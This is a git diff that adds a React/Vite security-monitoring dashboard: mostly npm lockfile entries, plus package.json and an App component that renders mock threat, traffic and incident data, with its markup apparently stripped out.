+ } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/node-releases": { + "version": "2.0.27", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", + "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/postcss": { + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/react": { + "version": "19.2.4", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.4.tgz", + "integrity": "sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ==", + "license": "MIT", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.2.4", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.4.tgz", + "integrity": "sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ==", + "license": "MIT", + "peer": true, + "dependencies": { + "scheduler": "^0.27.0" + }, + "peerDependencies": { + "react": "^19.2.4" + } + }, + "node_modules/react-is": { + "version": "19.2.4", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.4.tgz", + "integrity": "sha512-W+EWGn2v0ApPKgKKCy/7s7WHXkboGcsrXE+2joLyVxkbyVQfO3MUEaUQDHoSmb8TFFrSKYa9mw64WZHNHSDzYA==", + "license": "MIT", + "peer": true + }, + "node_modules/react-redux": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz", + "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==", + "license": "MIT", + "peer": true, + "dependencies": { + "@types/use-sync-external-store": "^0.0.6", + "use-sync-external-store": "^1.4.0" + }, + "peerDependencies": { + "@types/react": "^18.2.25 || ^19", + "react": "^18.0 || ^19", + "redux": "^5.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "redux": { + "optional": true + } + } + }, + "node_modules/react-refresh": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", + "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/recharts": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.7.0.tgz", + "integrity": "sha512-l2VCsy3XXeraxIID9fx23eCb6iCBsxUQDnE8tWm6DFdszVAO7WVY/ChAD9wVit01y6B2PMupYiMmQwhgPHc9Ew==", + "license": "MIT", + "workspaces": [ + "www" + ], + "dependencies": { + "@reduxjs/toolkit": "1.x.x || 2.x.x", + "clsx": "^2.1.1", + "decimal.js-light": "^2.5.1", + "es-toolkit": "^1.39.3", + "eventemitter3": "^5.0.1", + "immer": "^10.1.1", + "react-redux": "8.x.x || 9.x.x", + "reselect": "5.1.1", + "tiny-invariant": "^1.3.3", + "use-sync-external-store": "^1.2.2", + "victory-vendor": "^37.0.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/redux": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", + "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==", + "license": "MIT", + "peer": true + }, + "node_modules/redux-thunk": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz", + "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==", + "license": "MIT", + "peerDependencies": { + "redux": "^5.0.0" + } + }, + "node_modules/reselect": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz", + "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==", + "license": "MIT" + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/rollup": { + "version": "4.57.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz", + "integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==", + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.57.1", + "@rollup/rollup-android-arm64": "4.57.1", + "@rollup/rollup-darwin-arm64": "4.57.1", + "@rollup/rollup-darwin-x64": "4.57.1", + "@rollup/rollup-freebsd-arm64": "4.57.1", + "@rollup/rollup-freebsd-x64": "4.57.1", + "@rollup/rollup-linux-arm-gnueabihf": "4.57.1", + "@rollup/rollup-linux-arm-musleabihf": "4.57.1", + "@rollup/rollup-linux-arm64-gnu": "4.57.1", + "@rollup/rollup-linux-arm64-musl": "4.57.1", + "@rollup/rollup-linux-loong64-gnu": "4.57.1", + "@rollup/rollup-linux-loong64-musl": "4.57.1", + "@rollup/rollup-linux-ppc64-gnu": "4.57.1", + "@rollup/rollup-linux-ppc64-musl": "4.57.1", + "@rollup/rollup-linux-riscv64-gnu": "4.57.1", + "@rollup/rollup-linux-riscv64-musl": "4.57.1", + "@rollup/rollup-linux-s390x-gnu": "4.57.1", + "@rollup/rollup-linux-x64-gnu": "4.57.1", + "@rollup/rollup-linux-x64-musl": "4.57.1", + "@rollup/rollup-openbsd-x64": "4.57.1", + "@rollup/rollup-openharmony-arm64": "4.57.1", + "@rollup/rollup-win32-arm64-msvc": "4.57.1", + "@rollup/rollup-win32-ia32-msvc": "4.57.1", + "@rollup/rollup-win32-x64-gnu": "4.57.1", + "@rollup/rollup-win32-x64-msvc": "4.57.1", + "fsevents": "~2.3.2" + } + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT" + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tailwindcss": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.18.tgz", + "integrity": "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw==", + "license": "MIT" + }, + "node_modules/tapable": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", + "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", + "license": "MIT" + }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "license": "MIT", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/victory-vendor": { + "version": "37.3.6", + "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz", + "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==", + "license": "MIT AND ISC", + "dependencies": { + "@types/d3-array": "^3.0.3", + "@types/d3-ease": "^3.0.0", + "@types/d3-interpolate": "^3.0.1", + "@types/d3-scale": "^4.0.2", + "@types/d3-shape": "^3.1.0", + "@types/d3-time": "^3.0.0", + "@types/d3-timer": "^3.0.0", + "d3-array": "^3.1.6", + "d3-ease": "^3.0.1", + "d3-interpolate": "^3.0.1", + "d3-scale": "^4.0.2", + "d3-shape": "^3.1.0", + "d3-time": "^3.0.0", + "d3-timer": "^3.0.1" + } + }, + "node_modules/vite": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz", + "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==", + "license": "MIT", + "peer": true, + "dependencies": { + "esbuild": "^0.27.0", + "fdir": "^6.5.0", + "picomatch": "^4.0.3", + "postcss": "^8.5.6", + "rollup": "^4.43.0", + "tinyglobby": "^0.2.15" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "lightningcss": "^1.21.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", + "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", + "dev": true, + "license": "MIT", + "peer": true, + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zod-validation-error": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", + "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + } + } + } +} diff --git a/dashboard/package.json b/dashboard/package.json new file mode 100644 index 0000000..e18104f --- /dev/null +++ b/dashboard/package.json @@ -0,0 +1,31 @@ +{ + "name": "dashboard", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "lint": "eslint .", + "preview": "vite preview" + }, + "dependencies": { + "@tailwindcss/vite": "^4.1.18", + "date-fns": "^4.1.0", + "react": "^19.2.0", + "react-dom": "^19.2.0", + "recharts": "^3.7.0", + "tailwindcss": "^4.1.18" + }, + "devDependencies": { + "@eslint/js": "^9.39.1", + "@types/react": "^19.2.7", + "@types/react-dom": "^19.2.3", + "@vitejs/plugin-react": "^5.1.1", + "eslint": "^9.39.1", + "eslint-plugin-react-hooks": "^7.0.1", + "eslint-plugin-react-refresh": "^0.4.24", + "globals": "^16.5.0", + "vite": "^7.3.1" + } +} diff --git a/dashboard/public/logo.png b/dashboard/public/logo.png new file mode 100644 index 0000000..eb1ba0b Binary files /dev/null and b/dashboard/public/logo.png differ diff --git a/dashboard/public/vite.svg b/dashboard/public/vite.svg new file mode 100644 index 0000000..e7b8dfb --- /dev/null +++ b/dashboard/public/vite.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/dashboard/src/App.css b/dashboard/src/App.css new file mode 100644 index 0000000..a19df42 --- /dev/null +++ b/dashboard/src/App.css @@ -0,0 +1 @@ +/* Styles handled by Tailwind + index.css */ diff --git a/dashboard/src/App.jsx b/dashboard/src/App.jsx new file mode 100644 index 0000000..f72be72 --- /dev/null +++ b/dashboard/src/App.jsx @@ -0,0 +1,100 @@ +import { useState, useEffect } from 'react'; +import Header from './components/Header'; +import ThreatFeed from './components/ThreatFeed'; +import NetworkTraffic from './components/NetworkTraffic'; +import SystemHealth from './components/SystemHealth'; +import MitreHeatmap from './components/MitreHeatmap'; +import TopThreats from './components/TopThreats'; +import IncidentTracker from './components/IncidentTracker'; +import VulnSummary from './components/VulnSummary'; +import { + generateAlertBatch, + generateAlert, + generateTrafficData, + generateSystemHealth, + generateMitreData, + generateTopThreats, + generateIncidents, + generateVulnSummary, + getOverallThreatLevel, +} from './data/mockData'; + +function App() { + const [alerts, setAlerts] = useState(() => generateAlertBatch(25)); + const [traffic, setTraffic] = useState(() => generateTrafficData(24)); + const [systems, setSystems] = useState(() => generateSystemHealth()); + const [mitre, setMitre] = useState(() => generateMitreData()); + const [threats, setThreats] = useState(() => generateTopThreats(8)); + const [incidents, setIncidents] = useState(() => generateIncidents()); + const [vulns, setVulns] = useState(() => generateVulnSummary()); + + const threatLevel = getOverallThreatLevel(alerts); + + // Simulate live alert feed - new alert every 3-6 seconds + useEffect(() => { + const id = setInterval(() => { + setAlerts((prev) => { + const newAlert = generateAlert(); + const updated = [newAlert, ...prev]; + return updated.slice(0, 50); + }); + }, 3000 + Math.random() * 3000); + return () => clearInterval(id); + }, []); + + // Refresh slower-changing data periodically + useEffect(() => { + const id = setInterval(() => { + setSystems(generateSystemHealth()); + setTraffic(generateTrafficData(24)); + }, 15000); + return () => clearInterval(id); + }, []); + + useEffect(() => { + const id = setInterval(() => { + setThreats(generateTopThreats(8)); + setVulns(generateVulnSummary()); + setMitre(generateMitreData()); + setIncidents(generateIncidents()); + }, 30000); + return () => clearInterval(id); + }, []); + + return ( +
+
+ +
+ {/* Row 1: Threat Feed | Network Traffic | System Health */} +
+ +
+
+ +
+
+ +
+ + {/* Row 2: MITRE ATT&CK Heatmap | Top Threats Table */} +
+ +
+
+ +
+ + {/* Row 3: Incident Tracker | Vulnerability Summary */} +
+ +
+
+ +
+
+
